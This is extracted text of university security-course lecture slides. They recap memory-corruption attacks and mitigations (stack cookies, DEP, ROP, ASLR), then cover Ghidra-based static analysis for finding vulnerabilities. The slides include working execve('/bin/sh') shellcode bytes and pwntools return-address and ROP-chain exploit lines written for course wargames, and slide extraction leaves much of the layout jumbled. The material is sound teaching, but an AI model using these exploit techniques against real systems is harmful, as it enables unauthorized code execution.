modifies_bar(bar);
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 61
Is There a Data Race

RPISEC - 04/03/2019
11/16/2021 Race Conditions 62
Is There a Data Race?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 63
Is There a Data Race?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 64
Is There a Data Race?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 65
Lecture Selanjutnya
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
• This week is Thanksgiving week
– Lecture: recap and lessons learned
– Lab: catch-up 8-10, Intro to Project 2

• Last two weeks lectures: topics in security


– Lecture 1: Tools for MBE, cont.
– Lecture 2: Ethics
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 1
Schedule
• I will update Rainbow grades with Ch. 8 to Ch. 10
after “catch-up class” this week (on Friday)

• If you think your Rainbow grades don’t match


Wargames, let me know

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 2
Happy Thanksgiving!

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 3
Recap and Lessons Learned

(Notes by RPISEC and Ana Milanova)

RPISEC - 04/03/2019
11/18/2019
11/23/2021 Recap and Lessons 4
Agenda
1. Recap
a. Attack: Memory corruption (of return address)
b. Defense: Stack cookies
c. Attack: Shellcoding
d. Defense: DEP
e. Attack: ROP
f. Defense: ASLR and PIE
g. Miscellaneous bugs: Integers, Uninitialized memory, UAF, Double
fetch
2. Different types of vulnerabilities (bugs)
3. Lessons: What coding practices can help guard against
these vulnerabilities?
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 5
Runtime Memory

Memory Segments .text

.rodata
• Program Code .data

– .text
– libraries [heap]

libraries
(libc…)

[stack]
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 6
Runtime Memory

Memory Segments .text

.rodata
• Program Code .data
– .text
– libraries [heap]

• User Data
– stack
– heap
libraries
(libc…)

[stack]
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 7
Overflows 101
• Buffer overflows corrupt memory
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);

// prompt the user for their password


char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 8
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);

// prompt the user for their password


char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 9
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
generate_otp(admin_password, 32 bytes
user_password
sizeof(admin_password)
);

// prompt the user for their password


char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 10
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
Us
generate_otp(admin_password, er 32 bytes
user_password
sizeof(admin_password) Co
);
nt
ro
ll
ed
// prompt the user for their password
char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 11
Overflows 201
Lower Memory
Attack: corrupt the 0x4141414141414141 Start of
char foo[64]
return address 0x4141414141414141

0x4141414141414141

Binary: 0x4141414141414141
… gets(foo) … 0x4141414141414141

0x4141414141414141
Exploit:
0x4141414141414141
p.sendline(‘A’*80+
0x4141414141414141 End of foo
p64(0x40051f))
0x4141414141414141 money = ...
Not supposed
0x4141414141414141 Base pointer
to touch!
Higher Memory 0x40051f -> WIN FUNCTION! RETURN ADDRESS

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 12
Stack Cookies (Stack Canaries)
No Cookies Defense: Cookies

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 13
Function Prologue

Stack
Saved RBP

Return Address

RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 14
11/23/2021
Function Prologue

Stack
Saved RBP

Return Address

RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 15
11/23/2021
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)

Saved RBP

Return Address

RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 16
11/23/2021
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)

Saved RBP

Return Address

RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 17
11/23/2021
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)

Stack Cookie
Saved RBP

Return Address

RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 18
11/23/2021
Cookie Check

No return
How could we still attack?
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 19
sys_execve
What if there is no win function?

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 20
sys_execve
What if there is no win function?
We recreate system("/bin/sh")!
Set registers:
RAX RDI RSI RDX

0x3b pointer to “/bin/sh” 0x00 0x00

syscall

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 21
execv Shellcode
Smallest shellcode (that we know of) xor esi,esi
movabs
1. set registers rbx,0x68732f2f6e69622f
push rsi
2. perform syscall push rb 23
push rsp bytes
pop rdi
push 0x3b
pop rax
xor edx,edx
syscall

p.send("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x
3b\x58\x31\xd2\x0f\x05")

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 22
Shellcode Attack
0x7FFFFFFFED70: 0x31f648bb2f62696e Start of
char foo[64]
0x2f2f73685653545f

Attack: corrupt the return 0x6a3b5831d20f0541

address 0x4141414141414141

0x4141414141414141
Binary: 0x4141414141414141
… gets(foo) …
0x4141414141414141

0x4141414141414141 End of foo


Exploit:
p.sendline(shellcode+ 0x4141414141414141 money = ...

‘A’*(80-len(shellcode)+ 0x4141414141414141 Base pointer

p64(0x7FFFFFFFED70)) 0x0x7FFFFFFFED70 -> foo[0] RETURN ADDRESS

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 23
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?

o u t
g e t
e t ’s ’s
L e 9 0
o f t h

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 24
DEP/NX/W^X (This is always on unless you’re running on a potato)

Defense:
Stack/data is mapped No eXecute
aka DEP (Data Execution Prevention)
aka W^X (Write xor eXecute)
- memory regions are marked writeable or executable,
not both
No more shellcode

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 25
Runtime Memory

Memory Segments .text

.rodata
• Program Code (Read and Execute) .data
– .text
– libraries
• User Data (Read and Write) [heap]

– stack
– heap

libraries
(libc…)

[stack]
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 26
Return Oriented Programming (ROP)

Attack:
• Code reuse
– can’t use our own code
– what if we string together existing code to do what we want, a few
instructions at a time
– these are called gadgets add rax, 0x4
ret
– small bits of code ending in a ret

pop rax pop rbx xchg rsp, rax


ret pop rdx ret
syscall
ret

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 27
Return Oriented Programming (ROP)

Binary (common pattern):


foo() {
char buffer[20]; rsp buffer

printf("Comment?\n"); buffer

fgets(buffer, 17, stdin); buffer


g_homework.g_func(); ...
}
// We control g_func pointer via an overflow.
// We control enough space (in some data segment) to
// store a functional rop chain.

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 28
Return Oriented Programming (ROP)

Binary (common pattern):


foo() {
char buffer[20]; rsp return address

printf("Comment?\n"); ???

fgets(buffer, 17, stdin); ???


g_homework.g_func(); ???
}

// We’ve sent pop r12; ret gadget address into g_func

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 29
Return Oriented Programming (ROP)
pivot address: pop_rdi

We’ve sent the ROP chain into the 0x7f... -> “/bin/sh”

pivot address: pop_rax

0x3b

pop_rdx
p.sendline(
0x0
p64(pop_rdi)+p64(binsh_addr)+
pop_rsi
p64(pop_rax)+p64(0x3b)+
0x0
p64(pop_rdx)+p64(0x0)+
syscall
p64(pop_rsi)+p64(0x0)+
p64(syscall))
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 30
Return Oriented Programming (ROP)

Exploit (common pattern):

p.sendline(p64(pop_rsp)+p64(pivot_addr))

rsp return address

pop_rsp

pivot_addr

???

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 31
Recall Libc ROP and Pivoting
• Usually we need to search for gadgets in libc (e.g.
typically no syscall in binary)
• There are some useful libc functions too, e.g., system()

• We often have to pivot


– Canonical pivot gadget:
∘ pop rsp; ret
– Other pivot gadgets:
∘ pop … couple of things … ret
∘ add rsp 0x10; ret
∘ leave; ret
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 32
ASLR
• Defense:
• Address - Space - Layout - Randomization
• A runtime mitigation used to ensure that address
ranges for important memory segments are
random for every execution

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 33
ASLR
• ASLR is enabled on the system
• First level of ASLR is sometimes referred to as
CAKE where:
– System-wide Address Space Layout Randomization (ASLR)
enabled, the stack, heap, and libraries are placed at
different base address, every time you launch the binary
– Binary itself may not have been compiled to take
advantage of such mitigations, it may remain at fixed
location across launches

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 34
PIE
• Position Independent Executable
• A binary compiled such that its base address is relocated
every time you launch the binary
• Enabled with `-pie -fPIE` option

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 35
Defeating ASLR and PIE: Leaks
• Information leaks leak data from runtime to the user
unintentionally
• Info leaks can help find base addresses randomized by
ASLR and PIE

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 36
Defeating ASLR and PIE
• Step 1: Find an info leak
– printf(“libc exit function @ %p\n” &exit): … 0x7f2f8a497030
– libc_base = 0x7f2f8a497030-0x3a030
(0x3a030 is the constant offset, i.e., relative address, of exit in libc)

– printf(“do_func function @ %p\n” &do_function): … 0x55b436ced972


– pie_base = 0x55b436ced972-0x1972
(0x1972 is the constant offset of do_funcion in binary)
• Step 2: Find space we control (get a write)
• Step 3: Inject code
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 37
Heap and Other
• Use After Free (UAF)
• Uninitialized Memory
• Integer Issues
• Double Fetch / TOCTOU

• Generally, these are bugs that lead to leaks or


overflows/”writes”, which allow us to inject and execute
code

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 38
Concurrency Bugs
• New types of bugs occur in concurrent programs
– Data races
– Atomicity errors
– Deadlocks
• Data races and atomicity errors expose bugs (UAFs
and Double fetch, most notably) that would have
not occurred in a single-threaded run
• Nondeterminism in concurrency makes reasoning
about program behavior extremely difficult
– Bugs that disappear when we make an attempt to study
them (or exploit them)
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 39
Wargames Challenges?
1. Find a leak, via one or more vulnerabilities
a. Typically, leak a function pointer (but we’ve seen other too!)
b. An overflow leak, i.e., reading past the end of a buffer
c. Or a side-channel leak, e.g., uninitialized memory
2. Find a “write”, again, via one or more vulnerabilities
a. We do need a write into a function pointer or a return address
b. Again, an overflow write
c. Or a side-channel write, via UAF type confusion
3. Inject code
a. 1) try win function, then 2) try shellcode, then 3) try a call to system
(often disabled with mprotect), then 4) ropchain

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 40
Wargames Challenges?
• Lets enumerate (again) vulnerabilities we’ve been seeing
in Wargames

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 41
Vulnerabilities
• UAFs ?
– Dangling pointer
x = malloc(n); … free(x); … … x->f …
– A dangerous pointer (type confusion)
x = malloc(n); … free(x); … y =
malloc(n)
… use y as x, or use x as y …

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 42
Vulnerabilities
• Many UAFs in Wargames (and more in Project 2)
typedef struct stopLimitOrder typedef struct Order
{ {
char symbol[8]; char symbol[8];
unsigned type; unsigned type;
void (*infoFunc)(void *); unsigned long long price;
unsigned long long stop; unsigned long long amount;
unsigned long long limit; void (*infoFunc)(void *);
} stopLimitOrder; } Order;

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 43
Vulnerabilities
• Uninitialized memory ?
– On the stack
∘ char buf[64]; -> definition-free path ->
use of buf

– On the heap
∘ char * buf = malloc(64); -> definition-free
path -> use of buf

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 44
Vulnerabilities
• Uninitialized memory in Wargames
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16);
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);

}
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 45
Vulnerabilities
• Information leak ?
– Data flow from a source to a sink:
void * fp = &exit // source (sensitive information)

x->f = fp;
y = x;
fp1 = y->f;
...
printf(“libc exit function @ %p\n” fp1) // sink
(public view)

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 46
Vulnerabilities
• Many cases of Information leak in Wargames (and more
to come)
gold += fight(&map[row*3+col]); // ½ a cookie, source

print_highscore(gold); // printf leak, sink

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 47
Vulnerabilities
• Another leak, called a side-channel leak
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16); // source
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);
// sink

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 48
}
Vulnerabilities
• Integer issues ?
– Type confusion
∘ Account.debt -= (unsigned int) pay
(Already done with. Require explicit conversion, i.e., type cast.)

● Overflows and underflows

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 49
Vulnerabilities
• Double fetch / TOCTOU ?
– char * buf = malloc(bar->name_len);
...
modifies_bar(bar);
...
memcpy(buf, bar->name, bar->name_len);

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 50
Vulnerabilities
• And of course, BUFFER OVERFLOWs ?
– Blatant overflows
map[row*3+col], memcpy(buf, src,
strlen(src)), gets(buf)

– Stack overflows
∘ char buf[32]; gets(buf); …
∘ Typically, buffer size known at compile time
– Heap overflows
∘ char * buf; buf = malloc(bar->name_len)
∘ Often, buffer size is not known until runtime

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 51
Vulnerabilities
• Data races and atomicity errors ?
– Give rise to bugs that won’t happen in a single-threaded execution

Thread 1: Thread 2:
ticket * temp = bookings[0];
bookings[0] = NULL; if (bookings[0] == NULL)
continue;

free(ticket)
bookings[31] = temp;

RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 52
Lecture Selanjutnya
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/

• Last two weeks lectures: topics


– Tuesday Lecture (half lecture, half lab): Lessons Learned
and Tools for MBE
– Tuesday Lecture: Ethics

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 1
Schedule
• Rainbow grades posted for Ch. 8 to Ch. 10
– You can keep working on Ch. 8 to Ch. 10 challenges

• If you think your Rainbow grades don’t match


Wargames, let me know

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 2
Tools for MBE

(Notes by RPISEC and Ana Milanova)

RPISEC - 04/03/2019
11/18/2019
11/30/2021 Tools for MBE 3
Agenda
1. Lessons learned

2. Static analysis for vulnerability detection


a. Dataflow analysis
b. Verification condition generation (AKA backward
reasoning)

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 4
Wargames Challenges?
• Let’s enumerate (again) vulnerabilities we’ve been
seeing in Wargames

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 5
Vulnerabilities
• UAFs ?
– Dangling pointer
x = malloc(n); … free(x); … x->f …
– A dangerous pointer (type confusion)
x = malloc(n); … free(x); …
y = malloc(n)
… use y as x, or use x as y …

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 6
Vulnerabilities
• Many UAFs in Wargames (and more in Project 2)
typedef struct stopLimitOrder typedef struct Order
{ {
char symbol[8]; char symbol[8];
unsigned type; unsigned type;
void (*infoFunc)(void *); unsigned long long price;
unsigned long long stop; unsigned long long amount;
unsigned long long limit; void (*infoFunc)(void *);
} stopLimitOrder; } Order;

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 7
Vulnerabilities
• Uninitialized memory ?
– On the stack
char buf[64];
-> definition-free path -> use of buf

– On the heap
char * buf = malloc(64);
-> definition-free path -> use of buf

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 8
Vulnerabilities
• Uninitialized memory in Wargames
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16);
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);

}
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 9
Vulnerabilities
• Information leak ?
– Data flow from a source to a sink:
printf(“libc exit function @ %p\n” &exit); or

void * fp = &exit // source (sensitive information)



x->f = fp;
y = x;
fp1 = y->f;
...
printf(“libc exit function @ %p\n” fp1) // sink
(public view)
RPISEC - 04/03/2019 Tools for MBE 10
11/30/2021
Vulnerabilities
• Many cases of Information leak in Wargames (and
more to come in project of course)

gold += fight(&map[row*3+col]); // ½ a cookie, source



print_highscore(gold); // printf leak, sink in print_highscore

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 11
Vulnerabilities
• Another leak, also called a side-channel leak
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16); // source
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);
// sink

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 12
}
Vulnerabilities
• Double fetch / TOCTOU ?
char * buf = malloc(bar->name_len);
...
modifies_bar(bar);
...
memcpy(buf, bar->name, bar->name_len);

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 13
Vulnerabilities
• Of course, BUFFER OVERFLOWs ?
– Read overflows, may lead to information leak
∘ map[row*3+col]
– Write overflows
∘ strcpy(buf, src, strlen(src)), gets(buf)
– Stack overflows
∘ char buf[32]; gets(buf); …
∘ Typically, buffer size is known at compile time
– Heap overflows
∘ char * buf; buf = malloc(bar->name_len)
∘ Often, buffer size is not known until runtime

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 14
Vulnerabilities
• Data races and atomicity errors ?
– Give rise to bugs that won’t happen in a single-threaded
execution
Thread 1: Thread 2:
ticket * temp = bookings[0];
bookings[0] = NULL; if (bookings[0] == NULL)
continue;

free(allocations[i])
bookings[31] = temp;

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 15
Lessons
• Pair up (or triple up)

• Make a list of coding practices that can help guard


against these vulnerabilities

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 16
Agenda
1. Lessons learned

2. Static analysis techniques for vulnerability detection


a. Dataflow analysis
b. Verification condition generation (AKA backward
reasoning)

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 17
https://apply.grad.uci.edu/refer/?46304433182276
65

State of the Art of War


• Ghidra:
– A reverse engineering/decompilation tool
– A program analysis framework
• KLEE: a symbolic execution tool for C
• angr: a tool for binary analysis and exploitation
– Uses a combination of static techniques (symbolic
execution) and dynamic techniques (fuzzing)
• DARPA Cyber Grand Challenge of 2016: top 3 teams
combined solved about 10% of all challenges!

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 18
Intermediate Representation
(IR)
• Compiler (roughly):

3-addr Machine
Source AST Code ASM
Code

• Ghidra is a Decompiler:
Machine 3-addr
Code ... Code??? ... Source???
(x86) (PCode)

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 19
Ghidra’s Pcode
• Ghidra gives us an API into Pcode IR
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD (stack,
0xffffffffffffffdc, 4) , (const, 0x1, 4)
• Other: basic blocks, edges, etc
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 20
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));

int number;
scanf("%u", &number);

if (number > bowl_size)


number = bowl_size - 1;

// Copy at most bowl_size characters into the buffer


for (int i=0; i <= number; i++)
{
bowl[i] = ingredients[i];
}
}
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 21
fill_bowl, Ghidra Decompiled
void fill_bowl(char *ingredients,char *bowl,int bowl_size) {
...
i = bowl_size;
_scanf("%u",&number);
local_20 = number;
if (i < local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}
return;
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 22
}
Challenge Problem
• Verify that for all inputs number
local_20 <= bowl_size-1, i.e., no overflow
...

{ local_20 <= bowl_size - 1 }


while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}

• If an input may violate the condition, issue a


warning and, if possible, find that input
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 23
Dataflow Analysis
• Dataflow analysis collects information about
program execution without running the program
– A form of static analysis
• A powerful framework
– Lots of nice theory behind
– Many different kinds of analysis
– 2020 Turing Award!
• Def-use Chains is the most basic of dataflow
analyses

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 24
Def-use Chains
• Definition: a node (i.e., statement) that may change
the value of a variable (e.g., x=y+z is a definition of
x)
• Use: appearance of a variable as an operand of a
3-address statement (e.g., y=x+4 is a use of x)

• A definition (x,k) reaches node n if there is a path


from node k to n free of a definition of variable x
Note: (x,k) denotes definition of x at node k
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 25
Def-use Chains

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 26
Using Dataflow Analysis
• Def-use chains in fill_bowl example?

• Can we use def-use chains on our challenge


problem?

• A naive analysis:
– Find all def-use chains (k,n) for local_20
– If for some def-use chain local_20 > bowl_size-1 is
satisfiable, issue a warning
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 27
Using Dataflow Analysis
All def-use chains for fill_bowl example:

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 28
Using Dataflow Analysis
Yes, for def-use chain (1,6) local_20 > bowl_size - 1
is satisfiable

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 29
Using Dataflow Analysis
• What if we fixed the bug:
...
if (i <= local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}
...

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 30
Using Dataflow Analysis
• What if we fixed the bug:
...
if (i <= local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}

• Condition is still satisfiable! Analysis will issue a


FALSE POSITIVE warning!
RPISEC - 04/03/2019 Tools for MBE 31
11/30/2021
Using VC Generation

i = bowl_size;

if (i < local_20) {

local_20 = i + -1;

}
{ local_20 <= bowl_size - 1 }

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 32
Using VC Generation

i = bowl_size;

if (i < local_20) {

local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 33
Using VC Generation

i = bowl_size;

if (i < local_20) {
{ i - 1 <= bowl_size - 1 }
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 34
Using VC Generation

i = bowl_size;
(i<local_20) => i <= bowl_size } AND
(i>=local_20) => local_20 <= bowl_size - 1
if (i < local_20) {
{ i - 1 <= bowl_size - 1 }
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 35
Using VC Generation
(bowl_size<local_20) => bowl_size <= bowl_size } AND
(bowl_size>=local_20) => local_20 <= bowl_size - 1
i = bowl_size;
(i<local_20) => i <= bowl_size } AND
(i>=local_20) => local_20 <= bowl_size - 1
if (i < local_20) {
{ i - 1 <= bowl_size - 1 }
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 36
Using VC Generation
• We have to show that formula (verification
condition)
(bowl_size>=number) => number<=bowl_size-1

is valid

• A formula is valid when it is true for all values


• To show that a formula is valid, use duality between
validity and satisfiability: F is valid iff !F is
unsatisfiable
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 37
VC Generation is Better than
Dataflow Analysis
• What if we fixed the bug:
...
if (i <= local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}

• Verification condition is UNSAT! No FALSE POSITIVE!


RPISEC - 04/03/2019
11/30/2021 Tools for MBE 38
Ghidra Example

VC Script
RPISEC - 04/03/2019
Demo
Tools for MBE 39
11/30/2021
Ghidra Scripts
• A conjecture:
– VC analysis will be effective in finding buffer overflows in
Wargames benchmarks
• Other Ghidra scripts:
– Information flow (aka taint analysis): trace flow of values
from a source (e.g., libc function) to a sink (e.g., printf
function, memset)
– Type confusion: find a call chain main -> free(n) followed
by a call chain main -> malloc(n)
– Many others!

RPISEC - 04/03/2019
11/30/2021 Tools for MBE 40

You might also like